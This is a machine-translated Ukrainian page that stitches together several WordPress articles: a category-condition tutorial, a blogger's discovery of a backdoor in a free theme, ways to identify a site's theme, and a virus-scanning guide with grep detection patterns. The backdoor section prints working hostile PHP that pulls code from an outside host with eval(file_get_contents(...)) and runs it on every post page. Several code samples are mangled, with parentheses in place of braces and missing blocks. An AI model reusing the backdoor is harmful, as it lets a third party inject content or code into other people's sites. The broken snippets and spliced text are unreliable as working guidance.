Перевірка теми. Тестування теми WordPress, перевірка в режимі налагодження Як перевірити шаблон wordpress на віруси

Уявімо, що Ви виводите записи та потрібно змінити зовнішній вигляд залежно від рубрики. Наприклад, у Вас є блок "ПРО АВТОР" який виводить інформацію про автора статті, але ви не хочете бачити цей блок наприклад під записами з рубрики, в якій це не потрібно. Також можна відключати коментування у певних рубриках, виведення мініатюр тощо. Все залежить від Ваших потреб та фантазій. Особисто я дуже часто користуюся такою умовою.

Щоб відфільтрувати записи в залежності від рубрики, допоможе функція - in_category(). Дана функція робить перевірку на те, чи належить поточний або заданий запис до потрібної рубрики, або кількох рубрик. Найчастіше ця функція виводиться у файлі single.phpтому що він і відповідає за виведення записів.

Найпростіший спосіб використання функції буде виглядати приблизно наступним чином. Додаємо цей код у файл single.php, при необхідності укладаємо в PHP теги.

PHP теги виглядають так:

Якщо у Вас у темі використовується в основному HTML код, то вставляйте наведений нижче код без змін. Якщо використовується в основному PHP, то теги в які міститься код можна видалити.

У цьому коді ми задали умову, що й поточна запис належить до рубрики з ID - 12, потрібно щось вивести. Те, що хочете, додаєте всередину фігурних дужок. Це має бути PHP код, якщо це складно і потрібно додати HTML код, то розірвіть код тими ж PHP тегами і код стане таким:

//Сюди пишемо звичайний HTML код або просто текст.

Щоб визначити айді рубрик, потрібно в адмінці перейти до списку рубрик та навести курсором на потрібну. Внизу вікна браузера з правого боку з'явиться посилання всередині якого буде щось типу ID = 1, тобто айді цієї рубрики 1.

Якщо Вам потрібно вказати кілька рубрик, то вкажіть їх через кому. Також Вам може бути потрібно створити умову "ЯКЩО - ТО", тоді код буде приблизно таким:

Уявіть, що Вам потрібно виводити в рубриці 12 мініатюр запису, а в інших записах з інших рубрик - першу картинку з тексту. Таке буває і як це зробити? За допомогою наведеного коду Вище. Про виведення першого зображення із запису можна прочитати у статті -

Тепер хочу показати ще одну можливість, яку можна додати до цієї функції. Так буває, що у рубрик є підрубрики, тобто дочірні категорії. І якщо запис належить до однієї з пiдрубрик, то умова обійде її. Якщо Вам це і потрібно, то можете нічого не чіпати, але якщо, все ж умова повинна працювати і на підрубрики, то потрібно додати до умови доповнення. Для початку в умову потрібно додати таку частину - || post_is_in_descendant_category(12). Це виклик нашої нової функції, яка здійснюватиме перевірку по підрубриках. Готовий код стане таким:

Щоб нова функція почала працювати, потрібно додати код цієї функції, тобто її потрібно написати. Для цього, знайдіть у папці з активною темою файл function.php, в якому знаходяться функції користувача. Додавати код, якщо ви не знайомі з PHP, потрібно в кінець файлу, але якщо там є закриваючий PHPтег - ?> , Додавати потрібно перед ним. Сам код виглядає так:

Function post_is_in_descendant_category($cats, $_post = null) ( foreach ((array) $cats as $cat) ( // get_term_children() accepts integer ID only $descendants = get_term_children((int) $cat, "category"); if ($descendants && in_category($descendants, $_post)) return true; ) return false; )

Якщо все зроблено правильно, то ваша умова відбиратиме записи за певними рубриками та їх підрубриками.

Давненько почав писати цю статтю, але всі руки не доходили закінчити, то одне, то друге перебивало. Нарешті стаття закінчена і, можливо, багатьом допоможе вирішити питання.

На цьому все, дякую за увагу. 🙂

Привіт друзі. Ви впевнені, що безкоштовний шаблон WordPress, який ви використовуєте для своїх сайтів та блогів дійсно безпечний і не містить прихованих загроз та шкідливого коду? Ви цілком у цьому впевнені? Абсолютно?)

Думаєте, прогнали шаблон через , видалили з нього приховані посилання, і справа зроблена. Файли сайту періодично скануєте антивірусом, заглядаєте в інструменти вебмайстра Яндекса у вкладку Безпека і з полегшенням бачите там повідомлення: « Шкідливий код на сайті не виявлено«.

От і я так думав. Не хотів би вас засмучувати, але…

Прихований небезпечний код у безкоштовних шаблонах WordPress

Ось такого листа я одержав минулого тижня на пошту від свого хостингу. З недавніх пір вони запровадили регулярну перевірку всіх файлів сайту на пошук шкідливого змісту і таки вони цей зміст у мене виявили!

Почалося все з того, що я зайшов якось удень на свій сайт і не зміг його запустити - вилазив лайливий напис про не знайдені файли з розширенням php. Трохи напружившись пішов вивчати вміст папки з сайтом на хостингу і відразу ж виявив проблему - мій файл шаблону fuctions.php був перейменований в functions.php.malware що як би неоднозначно натякало - тут попрацював антивірус або щось подібне до цього. та виявив вищезгаданий звіт від хостера.

Насамперед я звичайно ж почав перевіряти даний файл, вивчав його вміст, сканував усілякими антивірусами, десятками онлайн сервісів з перевірки на віруси і т.д. - В результаті нічого не виявив, всі в один голос стверджували, що файл абсолютно безпечний. Я зрозуміло висловив свої сумніви хостеру, мовляв, ви чогось наплутали, але про всяк випадок попросив їх надати звіт про виявлення шкідливого шматка коду.

І ось що вони мені відповіли

Пішов гуглити інфу про цей код і серйозно замислився.

Як знайти фрагмент шкідливого коду у шаблоні

Як виявилося, це справді нетривіальний прийом, який дозволяє зацікавленим особам передавати дані на ваш сайт та змінювати вміст сторінок без вашого відома! Якщо ви використовуєте безкоштовний шаблон, то рекомендую перевірити свій functions.php на наявність наступного коду:

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content)(
global $post;
if(is_single() && ( [email protected](get_option('blogoption'))) !== false)(
return $co;
) else return $content;
}

Навіть з моїми дуже неглибокими знаннями в php видно, що створюється якийсь фільтр, що прив'язується до глобальної змінної post і content, що відповідають за виведення контенту тільки на сторінках записів блогу (умова is_single). Вже підозріло чи не так? Ну а тепер подивимося що такого збирається виводити даний код у нас на сайті.

Цікава опція blogoption, що запитується в базі даних, так само виглядає дуже підозрілою. Заходимо в нашу базу даних MySQL і знаходимо там таблицю під назвою wp_options, якщо ви не змінювали префікси, то вона так буде виглядати за замовчуванням. І в ній знаходимо рядок, що зацікавив нас, під назвою blogoption

Яка краса! Ми бачимо наступну опцію


return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

Тобто. нам з деякого сайту (причому російського зауважте) повертають вміст, який може нести в собі все, що завгодно! Будь-яка кількість посилань, шкідливі коди, змінений текст тощо. Сам сайт при заході на нього видає 403 помилки доступу, що не дивно. Зрозуміло цю опцію я теж вилучив із БД.

За інформацією від постраждалих зазвичай повертається такий вміст вашої статті з однією лише модифікацією — замість будь-якої точки «.» у текст маскувалася відкрита посилання! І до речі, дана опція записується в базу даних при установці самого шаблону, а потім код, який це робить самознищується. І ось з такою погань я жив два роки, і жоден антивірус чи сервіс мені так і не виявив цю загрозу за весь час. Чесно кажучи я не помічав, чи спрацьовував коли-небудь зі мною такий прийом, або ж цю можливість блокував мій плагін безпеки (а може, одне з оновлень WordPressa закрило цю дірку), але все одно неприємно.

Мораль про безкоштовний сир

Як вам витонченість наших «перекладачів» шаблонів (або тих, хто викладає їх у себе в каталогах)? Це вам не посилання з футера випилювати) Шкода я вже не пам'ятаю, звідки я завантажував свій шаблон, давно це було, а то б обов'язково пару ласкавих написав. І якби на той момент мав той самий досвід, що маю зараз, то однозначно не користувався б безкоштовним шаблоном, або на крайній випадок не качав би з невідомих джерел!

Простіше купити який-небудь офіційний преміум шаблон за 15-20 баксів на тому ж і жити спокійно, знаючи що в ньому немає дірок і зашифрованих посилань, а якщо навіть знайдуться вразливості, то розробники обов'язково випустять оновлення, в якому ці дірки закриють. ( У Артема до речі нещодавно вийшла стаття, де він якраз про преміум шаблони розповідає і навіть роздає промокоди на звірячі знижки, кому цікаво)

Вас колись цікавило, яку тему оформлення використовує той чи інший сайт?

Часто в пошуках ідеальної теми ми дивимося на інші реалізовані проекти, щоб знайти щось схоже або зробити свій сайт на такій же темі, тільки зі своїм індивідуальним оформленням.

У цьому уроці ми покажемо, які інструменти та трюки можна застосувати, щоб дізнатись, яку тему оформлення використовує цей сайт на WordPress.

Спосіб 1. Сайт перевірки IsItWP

Найпростіший спосіб – це зайти на isitwp.com та перевірити там сайт, який вас цікавить.

Це онлайн-інструмент, який покаже вам, яку тему використовує WordPress, і чи взагалі використовується WordPress на цьому сайті.

Якщо на сайті стоїть WordPress, IsItWP спробує дізнатися про ім'я поточної теми оформлення.

Також він спробує дізнатися, які активні плагіни використовуються на сайті:

Якщо вам пощастило, і це не кастомна або дочірня тема, IsItWP видасть її назву, і далі ви можете знайти цю тему в пошукових системах.

Спосіб 2. Визначаємо вручну

Іноді власники сайту або розробники змінюють назву рідної теми WordPress. У такому разі інструменти типу IsItWP не зможуть вам допомогти.

Але навіть якщо так, у коді сайту все одно можуть залишитись різні підказки, які допоможуть обчислити, що ж за тема встановлена.

Давайте подивимося.

Кожна тема оформлення WordPress має мати файл style.css. Цей файл містить всередині заголовок (header), в якому, як правило, вказано ім'я теми, автор теми, версія та сайт-розробник теми. Також там вказуються інші шаблони CSS-стилів, які використовує тема.

Щоб знайти цей файл, спочатку потрібно зайти на сам сайт. Клацніть правою кнопкою десь на головній сторінці та перейдіть до перегляду вихідного коду ( View Page Source).

У браузері у новій вкладці відкриється вихідний код головної сторінки сайту.

Тепер вам потрібно знайти рядок коду, який виглядає приблизно так:

Щоб полегшити завдання, можна виконати Пошук по цій вкладці з кодом фрагменту " themesЦе частина з директорії, де лежить style.css.

Таким чином ви знайдете шлях, яким лежить файл style.css, і зможете відкрити цей файл прямо в браузері в новій вкладці.

У верхній частині style.css знаходиться шапка із заголовком (про який ми говорили вище). Це сервісна інформація щодо теми оформлення. Виглядає це приблизно так:

/* Theme Name: Theme Name Theme URI: https://example.com Автор: ThemeAuthorName Author URI: https://example.com Description: My Theme є flexible GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: hestia Tags: blog, custom-logo, portfolio, e-commerce, rtl-language-support , post-formats, grid-layout, one-column, 2-columns, custom-background, custom-colors, custom-header, custom-menu, featured-image-header, featured-images, flexible-header, full-width -template, sticky-post, theme-options, threaded-comments, translation-ready */

З цього блоку ви зможете дізнатися назву теми та адресу розробника. Далі залишається лише знайти цю тему в інтернеті.

Спосіб 3. Як знайти батьківську тему

Багато сайтів використовують дочірні теми для налаштування оформлення. І це правильний підхід.

У разі, якщо ви знайшли файл style.cssвід дочірньої теми, у його шапці буде вказана інформація про батьківську тему:

/* Theme Name: My Child Theme Description: Just the child theme Autor: Peter Smith Автор: Забули її автора's blog or website url Template: hestia Version: 1.0 License: GNU General Public License v2 or later License URI: http ://www.gnu.org/licenses/gpl-2.0.html Text Domain: my-child-theme */

У прикладі вище на батьківську тему вказує параметр " Template", тобто для цієї дочірньої теми використається батьківська тема "Hestia".

Також про батьківську тему можна дізнатися з вихідного коду, описаного в способі 2. У коді ви знайдете відсилання до файлу style.css не тільки від дочірньої теми, але і від батьківської теми.

Але не забувайте, що розробник міг постаратися і змінити всі заголовки style.css на свої, в такому випадку визначити оригінал теми буде дуже складно.

WordPress - це найпопулярніший движок для створення різноманітних інформаційних сайтів та блогів. Безпека вашого сайту – це більше, ніж безпека ваших даних. Це набагато важливіше, тому що це безпека всіх користувачів, які читають ваш ресурс і довіряють йому. Ось чому так важливо, щоб сайт не був заражений вірусами або будь-яким іншим шкідливим кодом.

Як захистити WordPress від злому ми розглянемо в одній з наступних статей, а зараз я хочу розповісти, як перевірити сайт WordPress на віруси і шкідливий код, щоб переконатися, що все в безпеці.

Найперший варіант, який спадає на думку - вас зламали хакери і вбудували в код вашого сайту свої бекдори, щоб мати можливість розсилати спам, ставити посилання та інші погані речі. Так іноді трапляється, але це досить рідкісний випадок, якщо ви вчасно оновлюєте програмне забезпечення.

Існують тисячі безкоштовних тем для WordPress та різних плагінів і вже тут може бути загроза. Одна справа, коли ви завантажуєте шаблон із сайту WordPress і зовсім інша, коли знаходите на лівому сайті. Несумлінні розробники можуть вбудовувати різний шкідливий код у свої продукти. Ще більший ризик, якщо ви завантажуєте безкоштовні преміум шаблони, там зломщики вже нічим не ризикуючи можуть додати якусь дірку в безпеці, через яку потім зможуть проникнути і зробити те, що їм потрібно. Ось тому така важлива перевірка wordpress сайту на віруси.

Перевірка wordpress сайту на віруси

Перше, до чого потрібно звернутися при перевірці сайту не віруси, це плагіни WordPress. Швидко і просто ви можете сканувати свій сайт і знайти підозрілі ділянки коду, на які варто звернути увагу, будь вони в темі, плагіні та самому ядрі Wodpress. Розглянемо кілька найпопулярніших плагінів:

1. TOC

Цей дуже простий плагін перевіряє всі встановлені на вашому сайті теми щодо наявності в них шкідливого коду. Плагін виявляє приховані посилання зашифровані за допомогою base64 вставки коду, а також виводить докладну інформацію про знайдені проблеми. Найчастіше, знайдені частини коду – це не віруси, але вони потенційно можуть бути небезпечними, тому вам варто звернути на них увагу.

Відкрийте "Зовнішній вигляд" -> "TAC"потім дочекайтеся доки всі теми будуть перевірені.

2. VIP Scanner

Дуже схожий на TOC сканер, але виводить більше докладної інформації. Ті самі можливості з виявлення посилань, прихованого коду та інших шкідливих вставок. Просто відкрийте пункт VIP Scaner у розділі інструменти та аналізуйте результат.

Можливо, достатньо видалити зайві файли, наприклад desktop.ini. Або ж потрібно докладніше подивитися що відбувається у файлах, що використовують base64.

3. Anti-Malware від GOTMLS.NET

Цей плагін дозволяє не тільки сканувати теми та ядро ​​сайту на наявність вірусів, але й захищати сайт від перебору паролів та різних XSS, SQLInj атак. Пошук виконується на основі відомих сигнатур та вразливостей. Деякі вразливості можна дома усувати. Щоб почати сканувати файли, відкрийте "Anti-Malvare"у бічному меню та натисніть "Run Scan":

Перед тим, як ви зможете запустити сканування, потрібно оновити бази даних сигнатур.

4. Wordfence

Це один із найпопулярніших плагінів для захисту WordPress та сканування на наявність шкідливого коду. Окрім сканера, який може знайти більшість закладок у коді WordPress, тут є постійний захист від різних видів атак та перебору паролів. Під час пошуку плагін знаходить можливі проблеми з різними плагінами та темами, повідомляє про необхідність виконати оновлення WordPress.

Відкрийте вкладку "WPDefence"у бічному меню, а потім перейдіть на вкладку "Scan"і натисніть "Start Scan":

Сканування може зайняти певний час, але після завершення ви побачите докладний звіт про виявлені проблеми.

5. AntiVirus

Це ще один простий плагін, який просканує ваш шаблон сайту на наявність шкідливого коду. Недолік в тому, що сканується лише поточний шаблон, але інформація відображається досить детально. Ви побачите всі небезпечні функції, які є в темі і потім можете детально проаналізувати, чи вони представляють якусь небезпеку. Знайдіть пункт "AntiVirus"в налаштуваннях, а потім натисніть "Scan theme templates now":

6. Integrity Checker

Також бажано перевірити цілісність файлів WordPress на випадок, якщо вірус вже записався вже кудись. Для цього можна використовувати плагін Integrity Checker. Він перевіряє всі файли ядра, плагінів та шаблонів на зміни. Наприкінці сканування ви побачите інформацію про змінені файли.

Онлайн сервіси

Існує також кілька онлайн-сервісів, які дозволяють перевірити сайт Wordpress на віруси або перевірити лише шаблон. Ось деякі з них:

themecheck.org- ви завантажуєте архів теми і можете дивитися всі попередження про можливі шкідливі функції, які в ній використовуються. Ви можете не тільки дивитися інформацію про свою тему, але й інші теми, завантажені іншими користувачами, а також про різні версії теми. Все, що знаходять плагіни, може знайти і цей сайт. Перевірка wordpress теми також дуже важлива.

virustotal.com- всім відомий ресурс, де ви можете перевірити свій сайт або файл шаблон на віруси.

ReScan.pro- перевірка WordPress сайту на віруси за допомогою цього сервісу безкоштовна, виконується статичний та динамічний аналіз, щоб виявити можливі редиректи сканер відкриває сторінки сайту. Перевіряє сайт за різними чорними списками.

sitecheck.sucuri.net- простий сервіс для сканування сайту та тем на віруси. Є свій плагін для WordPress. Виявляє небезпечні посилання та скрипти.

Ручна перевірка

Нічого не може бути краще, ніж ручна перевірка. У Linux є така чудова утиліта grep, яка дозволяє шукати входження довільних рядків у папці з файлами. Залишилося зрозуміти що ми шукатимемо:

eval - ця функція дозволяє виконувати довільний php код, її не використовують продукти, що поважають себе, якщо один з плагінів або тема використовують цю функцію майже зі стовідсотковою ймовірністю можна сказати, що там є вірус;

  • base64_decode- функції шифрування можуть використовуватися разом з eval, щоб сховати шкідливий код, але вони можуть застосовуватися і в мирних цілях, тому будьте уважні;
  • sha1- ще один метод шифрування шкідливого коду;
  • gzinflate- функція стиснення, ті самі цілі, разом з eval, наприклад, gzinflate(base64_decode(код);
  • strrev- перевертає рядок задом не перед тим, як варіант може використовуватися для примітивного шифрування;
  • print- виводить інформацію в браузер, разом із gzinflate або base64_decode небезпечно;
  • file_put_contents- сам WordPress або плагіни ще можуть створювати файли у файловій системі, але якщо це робить тема, то вже варто насторожитися і перевірити, навіщо їй це, так можуть встановлюватися віруси;
  • file_get_contents- у більшості випадків використовується в мирних цілях, але може використовуватись для завантаження шкідливого коду або читання інформації з файлів;
  • curl- та сама історія;
  • fopen- відкриває файл для запису, чи мало чого;
  • system- функція виконує команду в системі Linux, якщо це робить тема, плагін або сам wordpress, швидше за все там вірус;
  • symlink- створює символічні посилання в системі, можливо, вірус намагається зробити основну файлову систему доступною з-за;
  • copy- Копіює файл з одного місця в інше;
  • getcwd- Повертає ім'я поточного робочого каталогу;
  • cwd- Змінює поточну робочу папку;
  • ini_get- отримує інформацію про налаштування PHP, частіше в мирних цілях, але мало;
  • error_reporting(0)- відключає виведення будь-яких повідомлень про помилки;
  • window.top.location.href- javascript функція, що використовується для редиректів на інші сторінки;
  • hacked- так, про всяк випадок, перевіряємо, раптом хакер сам нам вирішив розповісти.

Ви можете підставляти кожне окреме слово у таку команду:

grep -R "hacked" /var/www/шлях/до/файлам/wordpress/wp-content/

Або ж використовувати простий скрипт, який шукатиме всі слова за раз:

values="base64_decode(
eval(base64_decode
gzinflate(base64_decode(
getcwd();
strrev(
chr (ord (
cwd
ini_get
window.top.location.href
copy(
eval(
system(
symlink(
error_reporting(0)
print
file_get_contents(
file_put_contents(
fopen(
hacked"

cd /var/www/шлях/до/файлам/wordpress/wp-content/
$ fgrep -nr --include \*.php "$values" *

Де є сайт, там можуть бути віруси. Ця нехитра істина не дозволяє розслаблятися та потребує постійного контролю за «здоров'ям» сайту. Сайти WordPress не виняток, а якщо взяти до уваги популярність CMS WordPress, то зрозуміло, чому зараження цих сайтів відбуваються частіше за сайти інших систем. Для антивірусної перевірки сайтів є безліч інструментів. У цій статті я розповім про чудового борця з вірусами для сайтів WordPress – плагіні AntiVirus, як знайти та видалити вірус на WordPress плагіном Antivirus.

Що ми розуміємо під вірусом

Під вірусом на сайті мається на увазі будь-яка стороння програма, яка змушує працювати сайт, не оскільки закладено в програмах системи. Під визначення вірус потрапляють:

  • , Занесені на сайт;
  • Зашифровані виконавчі функції, що потрапляє на сайт з плагінами та темами;
  • Будь-які php скрипти та Java коди, що здійснюють дії, які не відомі власнику сайту.

Результати дії вірусів на сайті можуть бути найрізноманітнішими:

  • Посилання на сторонні ресурси;
  • Автоматичний редирект на чужі ресурси;
  • Зчитування нових публікацій та дублююча публікація їх на сторонніх ресурсах;
  • Несанкціонована реклама на сайті;
  • Руйнування коду сайту і як результат падіння сайту.

Встановлення та налаштування плагіна Antivirus

Відмінний інструмент для перевірки сайту на наявність вірусів є плагін Antivirus. У плагіна більше 90000+ скачувань, останнє тестування на версії WordPress 4.6.11.

Встановити плагін можна з консолі сайту, на вкладці Плагіни → Додати новий, скориставшись формою пошуку плагінів за назвою.

Встановлення плагіна Antivirus з адміністративної панелі

Як видалити вірус на WordPress плагіном Antivirus

Важливо! Перед роботою з плагіном.

Працює плагін без премудростей. Через Налаштування→AntiVirusабо Плагіни→AntiVirus →Налаштуваннявходимо на сторінку активованого плагіна.

Тиснемо "Scan the theme templates" і бачимо результат перевірки. Усі каталоги робочої теми позначаться на сторінці. Зелений колір означає відсутність вірусів, червоний скаже про зараження.


Запуск сканування плагіном AntiVirus
Поділитися